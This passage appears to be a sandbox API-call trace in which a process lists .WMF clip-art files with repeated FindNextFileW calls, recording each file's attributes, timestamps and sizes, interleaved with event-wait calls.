ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0c84900, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1 [0183.271] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf971c00, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf971c00, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1 [0183.271] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd54400, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cd54400, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1 [0183.271] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1461c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1461c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1 [0183.271] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa014ef00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa014ef00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1 [0183.271] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10883400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10883400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1 [0183.272] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38a5000, ftCreationTime.dwHighDateTime=0x1bd4b19, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe38a5000, ftLastWriteTime.dwHighDateTime=0x1bd4b19, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1 [0183.272] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cafd00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9cafd00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1 [0183.272] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6576c00, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6576c00, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1 [0183.272] ResetEvent (hEvent=0x174) returned 1 [0183.272] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.279] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f51200, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3f51200, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1 [0183.279] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c3e500, ftCreationTime.dwHighDateTime=0x1bd4aed, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2c3e500, ftLastWriteTime.dwHighDateTime=0x1bd4aed, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1 [0183.279] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c49d600, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c49d600, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1 [0183.279] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48e63d00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48e63d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1 [0183.280] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eb62b00, ftCreationTime.dwHighDateTime=0x1bd4b47, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb62b00, ftLastWriteTime.dwHighDateTime=0x1bd4b47, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1 [0183.280] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aad3100, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1aad3100, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1 [0183.280] ResetEvent (hEvent=0x174) returned 1 [0183.280] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.290] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98237200, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98237200, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1 [0183.290] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b873a00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b873a00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1 [0183.291] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7f800, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5d7f800, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00636_.WMF", cAlternateFileName="")) returned 1 [0183.291] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db29500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9db29500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1 [0183.291] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dc9c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39dc9c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1 [0183.291] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf47e00, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cf47e00, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1 [0183.291] ResetEvent (hEvent=0x174) returned 1 [0183.291] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.293] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c816800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c816800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1 [0183.293] ResetEvent (hEvent=0x174) returned 1 [0183.294] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.452] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159db100, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x159db100, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1 [0183.452] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b503b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b503b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1 [0183.452] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7507bb00, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7507bb00, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1 [0183.453] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1 [0183.453] ResetEvent (hEvent=0x174) returned 1 [0183.453] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.460] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436e0000, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x436e0000, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1 [0183.460] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e49800, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39e49800, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1 [0183.461] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a09b00, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a09b00, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1 [0183.461] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1 [0183.461] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1 [0183.461] ResetEvent (hEvent=0x174) returned 1 [0183.461] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.468] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1 [0183.468] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90080a00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90080a00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1 [0183.468] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1 [0183.468] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83101700, ftCreationTime.dwHighDateTime=0x1bd4bdc, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83101700, ftLastWriteTime.dwHighDateTime=0x1bd4bdc, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1 [0183.468] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b938600, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b938600, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1 [0183.468] ResetEvent (hEvent=0x174) returned 1 [0183.469] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.475] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71426a00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71426a00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1 [0183.475] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1 [0183.475] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48ba00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b48ba00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1 [0183.475] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e4b800, ftCreationTime.dwHighDateTime=0x1bd4bf1, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1e4b800, ftLastWriteTime.dwHighDateTime=0x1bd4bf1, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1 [0183.475] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa59600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5fa59600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1 [0183.476] ResetEvent (hEvent=0x174) returned 1 [0183.476] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0183.493] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cd4300, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3cd4300, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1 [0183.493] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949ef200, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x949ef200, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1 [0183.493] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58502100, ftCreationTime.dwHighDateTime=0x1bf0ae8, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58502100, ftLastWriteTime.dwHighDateTime=0x1bf0ae8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1 [0183.493] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19dc700, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc19dc700, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1 [0183.494] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, 